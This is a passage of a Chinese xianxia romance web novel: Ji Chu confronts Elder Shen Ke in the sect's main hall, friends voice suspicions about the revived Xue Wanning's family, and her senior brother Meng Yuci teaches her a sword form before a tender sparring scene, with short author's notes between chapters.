孟喻辞看着纪楚弯起的眼睛,终于不再是刚刚那样皱着眉头撅着嘴苦大仇深的模样了。 他的目光柔和下来,轻声问了句: “现下开心啦?” 纪楚先是点点头,极为轻快地“嗯”了一声,随后又意识到师兄的语气实在太过温柔,简直不像是师兄了。 她下意识抬头,对上师兄的目光。 冷玉生温,冬雪消融。 不再是往日冷淡的模样,微微上扬的眼尾勾勒出精致动人的一笔,如早春暖阳一般,墨色眸子里竟然融满了温和清浅的笑意。 就连素日因样貌太过精致清冷、以至于总是显得充满距离感的五官轮廓,都因为这一点笑意而显得朦胧柔和起来。 在这一瞬间,纪楚感觉自己仿佛离师兄无限近,近到她的心跳都跟着停滞了一瞬。 时间似乎被无限拉长。 “……砰砰……砰砰……砰砰……” 不知过了多久,迟来的心跳声一点点充斥着她的胸腔,带动她的呼吸一点点恢复正常。 她察觉到了什么,蓦地后退一步。 两人间停滞的时间因她主动后退而流动起来。 不等师兄开口,纪楚急忙低下头说了句: “谢谢师兄,那我……我先回去了。” 她转身就要离开。 孟喻辞下意识抬手,拉住她胳膊。 纪楚的反应出乎意料的大,像是又回到了第一次在执律堂见他时那样,浑身上下写满了警惕。 就连被他拉住的胳膊都僵硬起来,小臂肌肉紧绷,虽然没有立马挣脱,却也并不是自然放松的状态。 一道剑影擦着纪楚身后落下。 匆匆赶来传信的弟子险些撞上人,急忙同纪楚道歉: “对不起对不起……我太着急了,没想到你会忽然转身。” 纪楚也被他吓了一跳: “没事……” 小臂上的触感十分明显,让人难以忽视。 纪楚很快回过头,试了试,没能挣脱开。 “师兄?” 纪楚于是抬头看向孟喻辞,拳头紧握,浑身紧绷,语气有些抗拒: “我要回去了。” 孟喻辞:“……” 他本意只是想提醒她身后有人,但没想到她反应会如此异常。 是因为幻境吗? 虽然不知道具体发生了什么,但幻境只不过是他恐惧的化身,至多脆弱怯懦,不至于让纪楚如此排斥她。 难道是幻境里的“那个他”,对纪楚说了什么吗? 他微微蹙眉,问道: “纪楚,幻境里,发生什么了吗?” “什么都没有!” 纪楚下意识脱口而出: “那只是个幻境而已,能有什么啊?” 但她这般模样,反而让孟喻辞越发肯定。 一定是“那个他”的问题。 难道是…… 他的目光在纪楚周身巡视。 纪楚越发不自在起来,转头看向一边地面,不自觉挡了下后颈。 下一刻又察觉到自己这模样心虚,于是很快放下手转了回来。 孟喻辞已经有了几分确定。 只怕是她知道了“空羽浮花”的事情。 也许不仅止于此,“那个他”一定还说了一些别的,这才将人吓成这样。 他很清楚,那时的自己有多孤独、多无助,面对纪楚这样处处合他心意、又带着他的“空羽浮花”的人,一定是无论如何都不舍得放手的…… 幻境亦是他心。 孟喻辞忍不住在心里叹息。 没想到,竟是自己坑了自己。 想明白这些,纪楚自幻境出来后见到他的诡异态度也就有了解释。 孟喻辞心下安定不少。 纪楚看起来紧张极了,始终警惕地看着他,似乎十分怕他提起这件事,亦或者是还有些他未曾查明的内情。 他于是不着痕迹地垂下眸子,收敛自己的气息,顷刻间又恢复了清清冷冷的模样。 然后他缓缓松开手,托着纪楚的小臂让她站稳些,这才道: “当心看路。” 语气如常,仿佛刚刚一瞬间的情绪外露都只是纪楚的错觉。 半晌找不着机会插话的弟子终于得以开口: “孟师兄,纪师妹,掌门有令,叫你二人回来后,立即前往正殿。” 说着,他看了一眼纪楚,神色有些古怪。 “瑶月仙子薛晚凝,回来了。”—— 作者有话说:师兄:自己坑自己[捂脸笑哭] 某作者(忍不住插嘴):这还没完,如果你知道其实还有另一个你,他和纪楚这样又那样,害的你这辈子情路坎坷…… 第72章 主峰正殿。 诲元仙尊高坐上首,端庄沉肃,姿容平和,静静 打量着殿内之人。 沈恪身边站着一位素衣女子,身量纤纤,气度若云。 一对细眉清浅似远山,双眸含情如春水,看向人时仿佛笼着一层渺然的雾气,恬静秀丽。 开口时语调轻柔,渺渺雅音,叫人生不出丝毫厌弃之心: “晚辈薛晚凝,见过诲元仙尊。” 诲元仙尊抬手: “不必多礼。薛家家主身子可好?” “一切都好,多谢仙尊挂念。” 薛晚凝柔婉一笑: “家主言及晚辈伤重之时,多亏仙尊令弟子赠下聚魂灯,晚辈才得以聚魂苏醒。甚至为了救晚辈,致使仙尊弟子下落不明。” 说着,她眉间拢出一缕忧愁: “晚辈身无所长,却累的仙尊弟子受伤失踪,实是晚辈之错……” 沈恪闻言皱眉: “此事已然查明,乃是魔物作祟。纪楚修为不精却急于救人,这才被魔物击落,怎么能说是你的过错呢?” 纪楚过来时恰好听到这句话。 一想到孔回端做的事,还有这几天的经历,哪怕是掌门还在上面坐着,她也完全忍不住,张口便道: “沈长老的意思难道是,我该看着同门受伤,却不出手相救?” 沈恪和薛晚凝闻声回头。 只见正殿门口出现两道身影。 其中一人高挑俊逸,容色清冷,周身气度疏冷沉寒,如归鞘之剑,虽不见锋芒,却让人心生忌惮。 一看便是化境巅峰期修士,剑气凛然,除却拂宇仙宗孟喻辞,再无人有这般气度修为。 只是他的目光却始终落在身边那人身上。 薛晚凝一眼便看到了纪楚。 虽然站在清冷出尘的孟喻辞身边,却完全没有被衬托下去的意思,反倒似寒玉映花,更显灵动漂亮。 五官虽与她相似,但气质却大相径庭,双眸更是清亮透彻,乌黑圆润更胜宝珠,大步流星地走进来时,盯着沈恪的目光简直比火焰还要耀眼。 薛晚凝看了一眼沈恪,见他牢牢盯着纪楚,神色不似方才那般坦然。 她在心底嘲弄一笑。 难怪沈恪对纪楚格外在意,纵使不能将其收入名下,依然要留在身边教养。 这样漂亮又生机勃勃的人,若能全身心只望着沈恪一人,该多么满足他那虚伪而空虚的心啊…… 只是看起来,沈恪的算盘似乎打偏了。 这纪楚一见面便出言回怼,且观她灵力修为,虽然只是刚入臻境,却已剑意初成。 一看就不是沈恪能教出来的。 不过瞧着,反倒与孟喻辞有些相似。 两人并肩而入,分明气质不同,但乍一看,竟是出奇的和谐。 薛晚凝的目光在纪楚和孟喻辞中间转了一圈,收回视线。 纪楚向诲元仙尊行礼: “弟子见过师尊。” 诲元仙尊刚说了句“免礼”,她就果断转回头,对着沈恪说: “原来孔回端当日对我和陈梧见死不救,落井下石,甚至还想偷走聚魂灯,难道竟是沈长老教的?” 纪楚言语直白毫不遮掩,直接将当时的情况抖落出来,几乎是指着沈恪的鼻子说他“蓄意残害门下弟子”、“阻止薛晚凝聚魂”。 话音刚落,正殿内所有人顿时看向沈恪和薛晚凝二人。 宗门上下乃至整个修真界,谁不知道沈恪对薛晚凝用情至深,又怎会阻止为她聚魂? 偏孔回端是沈恪亲传弟子,若无师父授意,哪来的胆子对聚魂灯下手? 更何况这事虽然没有证据,但纪楚失踪、陈梧求助,许盈和蒋成旭更是直接压着孔回端去了薛家,成功为薛晚凝聚魂,彻底断绝了被诬陷的可能。 如今看来,这件事似乎真的还有内情不明。 可惜沈恪神色如常,看不出丝毫端倪。 “孔回端办事不力,公私不分,我已斥责于他。” 他看了一眼身边的薛晚凝: “至于偷走聚魂灯,本是无稽之谈。我对此早有耳闻,谅你们不敌魔物,又成功送到了灯救了晚凝,这才不愿同小辈计较。” 说着,他看了一眼孟喻辞,语带质问: “不知孟师侄是如何教导的师妹,学艺不精任务中断便罢了,竟还纵容她诬告长老、推卸责任?” 自纪楚开口后,孟喻辞便一直站在她身侧一言不发,静静瞧着她说话。 虽未出言帮忙,却也不曾阻止。 若是仔细看去,眼里似乎还带着点纵容和欣赏。 “关师兄什么事?” 纪楚看向沈恪,神色坦坦荡荡: “我只讲我见到的事实,从未说过沈长老的不是,学艺不精便不要救人,难道不是沈长老自己说的吗?大家听了事实,心里自有想法。如何算的上诬告?” 沈恪皱眉: “你何时变得如此泼辣蛮横……” “我本来就这样!” 纪楚打断他的话: “倒不知沈长老何时变得如此是非不分、上纲上线、随意攀咬?” 她把这个词又还了回去。 沈恪脸色顿时阴沉下去: “放肆!” 眼看场面有些失控,诲元仙尊于是开口说了几句场面话: “好了,此事没有证据,争议无用。” “清者自清,沈长老宽宏,自不必与小辈计较。” 他转向纪楚: “至于你,纪楚,本尊知道你受了委屈,但这也不是你不敬师长的理由,还不快向……” “师尊。” 一直沉默不语的孟喻辞忽然开口。 诲元仙尊一卡,看向他,不知道这个徒弟又想做什么。 自打他为了纪楚宁可毁坏神骨也要强行出关,他就对这个徒弟不那么放心了。 但此刻人多眼杂,有些事不便多说。 诲元仙尊只能用眼神警告孟喻辞。 孟喻辞对他眼里的警告毫不在意,只淡淡开口: “师尊所言不错,清者自清,相信沈长老也是因为有如此底气,才敢来指责我教导师妹不力。” 纪楚忍不住转头看他一眼。 正对上师兄垂眸投下的一瞥。 微微上扬的眼尾映出三分笑意,开口时却格外冷淡严厉: “沈长老教徒有方,门下弟子或以渡明粉害人,或心怀叵测,对聚魂灯动手。” “你——” 沈恪面带愠怒。 孟喻辞并不看他,依然用含笑的目光看着纪楚,继续说道: “而我的师妹纪楚,聪明果敢,正义坦率,不但救下同门弟子,还破解了枉死城为魔物所困的危机。” 纪楚被他夸的有点不太好意思,悄悄移开了眼睛。 但师兄的视线仍落在她身上,如有实质般,让人难以忽视。 她忍不住开始拽袖子上的丝带,捏在指尖揉来揉去,盼着师兄别看她了。 孟喻辞察觉到她的不自在,移开目光,看向上首诲元仙尊: “可见师妹由我亲自教导,实乃掌门师尊慧眼,因材施教。” 一番话说的峰回路转,先夸纪楚,再夸自己,最后将诲元仙尊也夸了一遍,只将沈恪踩的一无是处。 偏他始终神色淡淡,这么一段话说出来,任谁也不会觉得他是在自卖自夸,竟像是阐述什么高深的剑法似的。 空气中一片安静。 纪楚心想:这世上有的人,一张嘴就能让空气凝固。 譬如师兄,哪怕是在夸人,听起来也像是杀人前的预告似的,令对方无话可说,无言以对,无语至极,怎么接话都不对劲,只能认了他的结论。 掌门难得深吸了一口气,挤出一分笑意来打圆场: “纪楚确实是个好孩子,于剑法一道有些天赋,只是有时莽撞冲动了一些……” 孟喻辞:“我觉得师妹这样,甚好。” 那姿态,就跟“我家孩子就是这样优秀,你们不懂的别瞎议论”的盲目家长一样,简直狂妄至极。 诲元仙尊:“……” 得,他也不必在这儿圆什么场了。 孟喻辞显然是不将沈恪放在眼里,摆明了告诉所有 人,谁敢说纪楚的不是,得先问问他这个师兄答不答应。 而纪楚再怎么闹,他放下一句“这样甚好”,连他这个师尊都不许多言,还能叫旁人说些什么? 他怎么就“慧眼识珠”,收了这么两个徒弟? 反倒是薛晚凝笑了一声,自沈恪身后走出: “纪楚师妹是为聚魂灯受的伤,便是我的恩人。” “我此番到此,一是为答谢掌门,二,便是想亲口谢谢师妹。” 纪楚这才看向沈恪身旁的女子。 薛晚凝。 前世她与薛晚凝接触不多,自然也没有什么“恩不恩人”的纠葛。 只知道这人性子极好,从不生气,也不会大声说话,无论何时出现,都是一副温和恬静的模样,对她这个“替身”也并无苛责,甚至有些视而不见的意思。 但纪楚不怎么喜欢她。 谁让一开始,所有人都说自己是薛晚凝的替身呢? 哪怕两人站在一起其实并不那么相像,但因着沈恪的态度,愣是让上辈子的纪楚厌恶起自己的长相来,实在是让人高兴不起来。 但说恨也不至于,毕竟那些恶心事都是沈恪做出来的,薛晚凝一开始也不知道她的存在,更不知道沈恪竟然会找来一个自己做替身。 没什么交集,也没什么矛盾,似乎就是陌生人了。 纪楚思索着,没有接话。 薛晚凝也知道纪楚在她和沈恪面前尴尬,于是并不刻意为难,只冲她一行礼,道了句: “我此行带来许多上品灵宝,专程为答谢师妹几人,还望你们不要嫌弃。” 说着,她便示意薛家来人带纪楚他们去挑选。 看在众人眼里,果真如传闻一般善解人意,温婉大方。 纪楚于是也依着礼节回了句: “多谢。” 转身出了正殿。 听闻消息后一直等在外面的三人见她出来,急忙一把拉过她的手,左看右看上看下看都没有问题,这才松了一口气。 许盈一把抱住纪楚: “吓死我了,幸好你没事!听说你不在枉死城的时候,我心都要跳出来了!” 纪楚拍拍她的背: “我没事的,许盈,你们去薛家顺利吗?” 许盈仍抱着她不放手,纪楚便看向一旁的蒋成旭。 对方点了点头,又摇了摇头,只道: “这儿不是说话的地方,我们先离开。” 看样子,似乎有什么事情要说—— 作者有话说:师尊:演都不演了?求你在外人面前演一下吧[裂开] 师兄:(冷漠)不。爱要坦荡荡。 第73章 孟喻辞一直目送着纪楚。 看见她头也不回地走出去,刚一离开正殿,就和等在外面的许盈抱做一团。 这一抱就半天不撒手,两人跟连体婴一样,连走路时候都要抱着走。 他看着这一幕,想到纪楚在他面前小心警惕的样子,心里十分不是滋味。 直到人消失在拐角处,彻底看不见了,他才舍得收回视线。 沈恪与薛晚凝已经同掌门告别,起身离开了。 诲元仙尊看着他这般模样,忍不住嘲讽一句: “你可真是幸运,天雷都劈到头顶了,竟能直接破了心结,灵力收放越发自如……不枉你对这个师妹如此上心。” 孟喻辞闻言只道: “是多亏了她。” 诲元仙尊兀自冷笑一声,知晓他若是下定了决心,便是天雷都劈都不回来,索性不再多言,直接说起重点: “无着尊者既已死,散在外面那些神骨都可慢慢寻回处理。只是悬鹤峰下那一块,虽被你砍了一剑,仍不减其邪性,到底是个祸患……” 说着,他又忍不住叹道: “你此番行事委实不该,若非我及时压下消息,悬鹤峰上神骨被毁,天雷不散,世人只会将你视作邪物。” 见孟喻辞沉默不语,诲元仙尊不免觉得疲惫: “先前末神龟缩不出,只叫无着尊者代为操控。如今无着尊者被你所杀,它必不会善罢甘休。” “纵使不为你,也该为纪楚想想。末神已经关注到她,你再小心,也难免会有疏漏。” “神最擅长玩弄人心,届时天下悠悠众口,皆指向纪楚,你叫本尊如何保她?” 孟喻辞神色凝重,道: “多谢师尊提醒。” 知道他是上心了,诲元仙尊这才觉得松了口气,转而聊起别的: “薛晚凝来此,你觉得是为何?” 不等孟喻辞回答,他又自己说了下去: “薛家仗着沧州灵宝众多,在修真界一家独大,近年来越发孤傲,几乎已同各大宗门断了联系。本尊倒还记得,数十年前,薛家家主曾放言:天璇秘境将开,末神将现。” “转眼这么多年过去了,所谓的天璇秘境始终不曾现世。旁人只当这是戏言,你我却清楚,末神确有其事。” “若非沈恪与薛晚凝的关系,我们也无法探知薛家。只是没想到,才刚将聚魂灯送过去,这薛晚凝竟然就醒了?简直是……” 他没再继续说下去,看了孟喻辞一眼。 后者掀起眼皮,漫不经心地看了一眼沈恪和薛晚凝站过的地方,语气淡漠: “沈长老有自己的考量,却不该将纪楚牵扯进来。” 诲元仙尊面色沉肃: “你这是在怪本尊,舍小放大,太过无情?” 他冷哼一声,眯起双眸,再无先前慈祥随和的模样,完全展露出一宗掌门的威严,不容置喙: “莫说一个纪楚,若是能将末神彻底铲除,便是要我身死道陨,本尊也绝不犹豫。” 孟喻辞沉默下去。 他知道师尊说的是实话。 在末神和修真界面前,没有人会优先考虑纪楚的安危。 便是师尊,也不会因为一个弟子就放弃好不容易等来的机会。 纪楚只会越来越危险。 良久,他躬身行礼,垂下的眼睫盖住眼底的情绪,只道: “弟子明白。” * 薛家不愧为修真名门,随便一出手便是几大箱上品灵宝,几乎像是搬来了一个小宗门,琳琅满目摆了一地。 可惜没人有心思挑选。 “我觉得薛家有问题。” 引他们过来的人才刚走,许盈一上来便说了这句话。 纪楚很是意外,忙追问: “为什么?你们在薛家发现什么了吗?是薛羡尘有问题吗?” 薛家倒是确实有一个魔头,但薛羡尘藏的太好,前世在神骨丢失之前从未动手,根本抓不到他的破绽。 许盈这么说,难道是发现什么了吗? 纪楚一脸期待。 许盈却疑惑道: “薛羡尘能有什么问题?” 纪楚失望。 许盈继续说: “我和蒋成旭把聚魂灯送过去的时候,薛家家主高兴的跟什么似的,好像特别笃定,只要有聚魂灯,薛晚凝就能活。结果你猜怎么着?” 许盈一拍手: “薛晚凝竟然真的活了!” 纪楚:“哇……” 蒋成旭便道: “聚魂灯虽然可以聚魂,但并非起死回生的圣物,哪有这么快的速度?除非……” “除非薛家一开始就知道,薛晚凝的魂魄早已聚齐。这才会向宗门求取聚魂灯。” 许盈道。 蒋成旭点了 下头,附和一声: “没错。” 纪楚沉思片刻,一撩衣摆坐在地上,推测道: “那……会不会是沈长老一直在帮薛晚凝聚魂啊?” 许盈和蒋成旭看向她。 纪楚继续说: “毕竟他们情投意合,沈长老更是在听说薛晚凝的身体找到后立马赶去了薛家,这还不够爱吗?” 许盈皱眉,用一种狐疑的目光看向她。 纪楚疑惑,摸了摸自己的脸: “怎么了?我说的不对吗?” “倒也不是。” 她也一撩衣摆坐在纪楚旁边的地上。 “我也只是猜的,就是感觉他们一家都怪怪的,尤其是那个薛晚凝,醒来后虽然总是笑吟吟的,但好像一点都不开心……” “你的直觉准吗?万一你猜错了,咱们得多尴尬啊!毕竟……” 蒋成旭则随便找了个箱子坐下,长腿碰到了许盈的胳膊,被她嫌弃地拍了一下。 “就你知道!我不知道吗?” 她看了一眼纪楚,当事人反倒一脸平静,看起来对“替身”和“本尊”之类的说辞毫不上心。 “算了,你们别操心了,等我观察几天再说。” 说完,许盈单手托着下巴,歪着脖子打量纪楚: “说起来,孔回端算计你我,兴许就是沈长老指示的。可你怎么看着一点都不生气啊?” 纪楚:“我生气啊,我当然生气了,我还骂他了呢。” 许盈瘪嘴,摇头,然后凑近她: “纪楚,你是不是不高兴啊?感觉你回来后就心不在焉的,精神头也不好……是出什么事了吗?” 纪楚没说话。 许盈便道: “有什么事,跟我们说说呗?虽然我不聪明,但蒋成旭消息灵通啊,肯定能想到好办法的!” 说着她锤了蒋成旭一下。 蒋成旭忙跟着点头: “是啊是啊。” 纪楚:“……” 她斟酌了一下,试探着说: “我以前得到了一个果子,但是才咬了一口,这个果子它就烂了。” 许盈:“?” “果子?” 她没懂纪楚为什么会说起果子,但还是问道: “是什么样的果子?什么味道?比盘盘果还好吃吗?” 纪楚:“嗯……” 她一脸为难,还有点不好意思: “应该算是好吃的吧……” 许盈:“……你这是什么表情,你怎么脸红了?吃果子会脸红吗?” 纪楚:“……!” 她急忙上手揉了揉自己的脸,继续说: “哎呀就跟盘盘果差不多。总之,这个果子烂掉以后,机缘巧合之下,我得到了一颗新种子,从零开始,认真培养,希望能长出一个不会烂掉的完美好果子……” 她顿了顿,道: “可是有一天我发现,我这个种子,它压根就是烂的。” 许盈若有所思:“烂种子?” 纪楚点头: “就是烂种子,虽然也生根发芽了,但是最后结出来的果子,还会是我想要的漂亮的完美的好果子吗?会不会有一天长大成熟的时候,还是之前那个烂掉的果子呢?” 许盈:“……” 她看了一眼蒋成旭。 蒋成旭耸肩,摇头。 她于是转回头看向纪楚: “所以你害怕这个果子未来也会坏掉,不能吃吗?” 纪楚又一脸为难: “其实一开始我并没有想吃,只是想种出一个完美的果子,光看看也是好的。” “这样啊……” 许盈的表情也有点凝重: “如果这个果子注定长不好的话,你还会继续栽种培养吗?” 纪楚沉默片刻,道: “应该是不会了。期待越大,失望越大,已经失望过一次了,我不想再看着坏果子……” 她一顿,叹气: “早知道是这样,一开始就该再仔细检查一下种子的……都怪我大意,现在什么都来不及了……” 看着她十分失落的样子,许盈反倒不知道该说什么好了。 看得出来,纪楚是真心不希望看到“烂掉的果子”,但是她又等了这个果子很久,以至于无法立马下定决心舍弃。 她想了想,难得郑重道: “作为朋友,我没有资格替你决定,要不要放弃这个果子。” “但是纪楚,如果你真的想要的话,果子现在不是还没烂吗?又何必急着做决定呢?” 纪楚看着她,没说话,模样有点委屈。 许盈忍不住起身,张开双臂,像母鸡护崽一样抱住她: “纪楚,无论这个果子是好是坏,我们都会陪着你的。” 纪楚从她满当当的拥抱里伸出两只手,把她也牢牢抱住。 * 最后纪楚只从薛家带来的宝物堆里随便拿了一样,是本从未见过的剑谱。 薛家虽不是最顶尖的剑修世家,但同样有许多拂宇仙宗也没有的藏书。 诸如很早之前在生死台上时,薛羡尘使出的“繁光剑”,便是薛家私藏。 纪楚翻了翻剑谱。 飞花掠影剑,听名字倒是和“繁光剑”有几分相似。 其剑招亦是强调灵动迅速,剑风扫过时花瓣飘飞,光影流动。 若蜻蜓点水,看似转瞬即逝,实则波澜渐显,余韵绵长。 往日她只跟着师兄习剑,学的多是一击制胜、且快且狠。 加之常与师兄对练,败多胜少,满脑子都是如何赢,根本没心思研究自己的剑招好不好看。 第一次接触这样柔中带刚的剑法,纪楚简直毫无头绪,兀自比划了一会儿,发现自己舞不出花,也掠不了影。 ——毫无美感。 纪楚挫败。 她左右看了看,目光最终定在身边一棵银杏树上。 她盯着树上的银杏叶看了一会儿,转了转手腕,寻真剑在半空中划出半圈剑光。 虽然没有花瓣,但是从树上砸下点银杏叶子,勉强也算是飞花掠影了吧。 她这样想着,剑刃横翻,仅以剑面拍向树干。 侧面却忽然斜插而来一道剑光。 少微剑轻轻一挑,将她拍向树干的长剑拦住。 一只骨节分明的手握住她手腕,师兄的声音从头顶传来: “不要拿树撒气,我教你。”—— 作者有话说:师尊:叭叭叭叭叭叭叭叭叭 师兄:烦了,啥时候散会,我也要纪楚抱抱[害羞] 第74章 纪楚的目光落到握着她手腕的手上。 五指修长,瘦而有力,指节微微凸起,指腹顺着她手背和手指滑下,轻轻一拢,便将她持剑的手完全包裹住。 纪楚头一次察觉到,师兄食指与中指指腹竟覆盖着一层薄茧,擦过她指节时触感明晰,让人难以忽视。 于此同时,师兄的声音贴着她耳畔传来: “飞花掠影,并非要你刻意轻柔。相反,起势更要快。” 清浅的呼吸掠过她耳畔。 纪楚手腕一抖,险些拿不稳剑。 覆盖在手背上的五指及时合拢,将她的手和剑柄牢牢握住。 而后用力,带动她的整条手臂向左横划而去。 剑光如朔,惊鸿掠影,银杏树梢扑朔风声顿起。 “专心。” 师兄察觉她的怔愣,捏了捏她握剑的手,轻声提醒。 分明力气不大,纪楚却感觉自己的骨头都僵硬了。 但这并非师兄第一次手把手带她过剑招。 往日倒不曾觉得有什么不对,今日衣服里却好像长了刺一样,让人浑身不自在。 就连最为熟悉的握剑姿势都让她觉得别扭,五指完全不知道该怎么摆放,全靠师兄指腹压着她的,才得以将剑柄牢牢抓住。 孟喻辞察觉到她举剑时的滞涩,还以为她是不习惯这样的剑法,故而会在变招前出言提醒: “此处要收力后撤,不要硬转。” 纪楚: “……哦,好的。” 师兄似心无旁骛,专心教导,纪楚有苦难言,既说不出“我不想学了”之类的摆烂的话,又觉得自己不该在这时候东想西想的走神。 于是她只得强迫自己忘记那些乱七八糟的想法,专心投入在手中剑上。 孟喻辞此人,看着清冷淡漠,实则出剑时总是冷戾凶残,若非一剑毙命,也该是杀气凌然、锐利至极,何曾用过“飞花掠影”这般花哨的剑法。 但如今他带着纪楚这样一个僵硬成木头人的“累赘”,却仍能轻易将一整套剑招舞出灵动飘逸之感,实在让人惊叹。 纪楚原先并不觉得“飞花掠影”有怎样特别,只当是个普通剑法。 但经师兄使出,竟处处暗藏玄机。 寻真剑在他的控制下如同轻灵的风、飘渺的云,剑刃所过,不见杀机,银杏叶却扑扑簌簌落了一地。 其中一片落在剑尖,竟也不掉。 叶片的影子随着剑招映在地上,恰似剑上生花,残影掠过,无形间取人性命。 …… 一套剑法练过,两人身边已经满是金黄的叶片。 孟喻辞松开她的手,同她拉开两步距离,这才道: “看懂了吗?” 他的白衣在满地金黄的映衬下显得格外清逸出尘,乌发如墨色锦缎般散落,衬得他面如冠玉,清冷无双。 微微垂眸看向她时,长睫在眼下落了一层淡淡的阴影。 乌黑双眸宛如清泠泠的墨玉,引人不自觉想要靠近触碰。 巫觋族人,委实长的太过貌美了。 纪楚刚从剑上移开目光,转头便对上这样一副惊为天人的容貌,顿时有些呆住了。 她早就知道师兄长的极好。 前世今生两辈子加起来,她从未见过比师兄还要漂亮的人。 本以为这一世日日相处,早该对此免疫。 但此刻看着师兄,纪楚不得不承认,这个果子,委实有点太好看了…… 倘若,没有坏种子就好了…… 见纪楚一直呆呆地盯着自己,像是在看什么稀罕又好看的宝贝。 孟喻辞忍不住笑起来,墨玉似的双眸里闪过细碎的光。 这份笑意只一闪而过,他很快又恢复了清清冷冷的模样,装作没有看到她的走神,伸出手,试图触碰她的头发。 纪楚猛地回过神来,仰头就要躲避。 孟喻辞早有预料,一只手已经按住她的肩膀,将人牢牢固定在面前。 “别动。” 他按住她,将一片银杏叶子从她头上取下来,捏在指尖,展示给她看。 然后面色坦然地问了句: “躲什么?” 纪楚:“……” 孟喻辞又道: “教了你半天,不是走神就是发呆。罢了,还是对练吧。” 此处并无桃树,若以花枝做剑,又会影响纪楚使出“飞花掠影”的效果。 于是他握住少微剑,站定,冲纪楚颔首示意: “出招要快,变招要轻。准备好,就动手吧。” 纪楚忍不住看了一眼自己手里的剑。 她感觉自己一颗心七上八下的,根本无法理清自己的想法。 一会儿是脖子后面那朵跟着她重生过来的花,一会儿又是师兄若无其事的态度。 师兄他肯定早就发现了,为什么不问呢? 但…… 若是师兄真的问了,他们还能这样坦然相处吗? 许是不能了吧…… 她心里一空。 再反应过来时,身体反应已快过思维,寻真剑刃破开空气,划出一道凌厉流光。 她根本没用“飞花掠影”的剑法,而是拿出了往日被逼急了、只想取胜时才会用的招式。 孟喻辞神色中闪过一丝讶异。 但他没有出声阻止,而是以少微剑相挡,迎面接下纪楚这一剑。 纪楚本就知道自己不可能一击即中,故而出招之时已想好了下一剑。 两剑剑刃相碰的同时,她手腕一转,寻真剑刃擦着少微剑身而过,逼他靠近身后银杏。 之后却又忽然转向,剑势凌厉,毫不留情地横切向师兄颈部。 孟喻辞眼里惊讶之色更显。 侧身躲避的同时,少微剑在他手中转了个方向,只以剑面迎向纪楚,使她不得不收剑后退以躲避这一击。 但纪楚没有。 她剑势不减,紧追师兄而上,宁可腹部受伤,也要把这一剑刺出去。 孟喻辞也看出了她的意图,脸色冷了几分。 下一刻,他忽然收剑,任由纪楚冲撞上来,寻真剑刃擦着他的颈侧而过,削掉一缕漆黑发丝,直直没入身后银杏树干。 纷纷扬扬的银杏叶被她这一击打落,在纪楚和孟喻辞两人身边下了一场连绵轻盈的“银杏叶雨”。 剑风在师兄衣领上划出一道口子,瓷白如玉的肌肤若隐若现,渐渐的,从中渗出一道细长的红痕。 纪楚的剑顿住。 她离师兄很近,清楚地看见那道红痕压在玉一样的皮肤上,清晰的像是雪地上散开的红绳,红的触目惊心。 纪楚睁大了眼睛,飘远的思绪终于跟上了她的脑子。 意识到自己做了什么,她心下一惊,猛地后退一步,急忙将剑从师兄脖子上移开。 孟喻辞没有说话。 他侧头,看了一眼树干上的剑痕,转头看向纪楚,平静地道了句: “你赢了。” “对不起,我……” 纪楚低下头,没敢看师兄的脸,心下懊恼不已。 原本想着一个人练练剑,或许就能忘记这些烦心事了。 怎么不知不觉,就开始和师兄对练,甚至于伤了师兄呢? 况且……她怎么可能伤的了师兄呢? 按理来说,师兄这样的修为对上自己,哪怕不用剑,也是绝无可能落败。 如今不但被她所伤,还被削掉了一缕发丝,全是因为在她持剑攻来时,师兄收了剑,且同时收了全部护体灵力,全然不曾打算回击。 ——只等她攻。 为什么? 万一她没有及时停手,真的要取他性命呢? …… 纪楚心乱如麻,下意识咬紧下唇,感受到一点顿顿的痛。 一只手轻轻托住她下巴,指腹上细细的茧贴着她的脸下颌内侧,不那么顺滑的触感,却带来点莫名的安定。 纪楚顺着这股力道抬起头,正对上师兄的眼睛。 师兄眼中并无怒意,目光平和专注,静静瞧着她。 “松开。” 淡淡两个字,如清泉击玉,一下子把她满脑子的混乱思绪拂开。 纪楚这才发现,自己竟然一直越咬越狠,唇上已经传来一阵尖细的刺痛。 她依言松开牙,唇上自深处向外渐渐浮上一片红,夹杂着细微的血丝。 竟是咬破了…… 孟喻辞目光落在她唇上的伤口处,微微蹙眉。 想用指腹将血丝抚去,却又在堪堪快要碰到时顿住,最终只碰到了纪楚唇边。 他看着那点伤口一点点肿起来,细细的牙印儿仿佛咬在他心上一般,让他凭空生出几分焦躁。 但他只是捧着她的脸问道: “纪楚,你生我气了吗?” 纪楚顿时紧张起来: “……没有。” “没有吗?” 师兄不置可否,微微俯下身,凑近来,仔细看她的脸。 精致的容颜在纪楚面前逐渐放大,她甚至可以看到师兄瞳孔里映出的自己的影子。 她下意识想后退躲开,但师兄手指微微一用力,她就只能梗着脖子,眼睁睁看着师兄越凑越近,鼻尖几乎快要碰到她的。 清浅的呼吸洒在她下巴上,像是落了一层轻飘飘的雪。 纪楚屏住呼吸,又想咬自己。 孟喻辞眼疾手快,拇指轻轻一拦,她的牙便擦着他指尖而过。 “别咬。” 指腹贴着她唇瓣没敢松开,直到她愣住,一脸茫然地收回牙,他才无奈道: “都流血了。” 纪楚闻言,这才后知后觉地感受到嘴唇上麻麻凉凉的感觉,还有点疼。 她下意识想舔伤口,舌尖却碰到一个有点冰凉的东西。 “!” 孟喻辞一惊,飞快松开了 捧着她脸的手,略有些僵硬地放在身侧,指尖却始终残留着一点温热湿润的触感。 他喉结上下一动,微微转头,一时竟不敢再继续看着纪楚的脸。 纪楚不明所以,舌尖在唇上轻巧游过,果然尝到了一点血腥味。 血…… 她的目光情不自禁落到了师兄脖子上。 伤口不深,却因细长而格外明显。 随着师兄侧头同时喉结上下移动的动作,边缘处晕开一点红痕。 纪楚有点难受: “师兄,对不起。我真的没有生你的气。我……” 她叹气:“我就是有点生自己的气。” 孟喻辞闻言转回头。 他已经恢复了冷静自持模样,仿佛刚刚一瞬间的惊慌只是错觉。 见纪楚小小年纪却一脸愁容,仿佛遇上了天大的麻烦,他心里最柔软的一团便忍不住跟着揪了起来。 于是他伸出手,轻轻摸了摸她的头,轻声道: “这么好的纪楚,为什么要生自己的气啊?”—— 作者有话说:纪楚:师兄,魅魔。 师兄:[害羞] 第75章 听到师兄这句哄孩子一样的话,纪楚一边想笑,一边又觉得越发委屈。 “我一点都不好。” 她眼睛看向一边,故意不去看师兄的表情: “我在问仙大会前打了孔回端,又在问仙大会中间杀了薛羡尘。” 孟喻辞回忆片刻,了然道: “他们两个……无妨,均非磊落之人,成王败寇,无从指摘。” 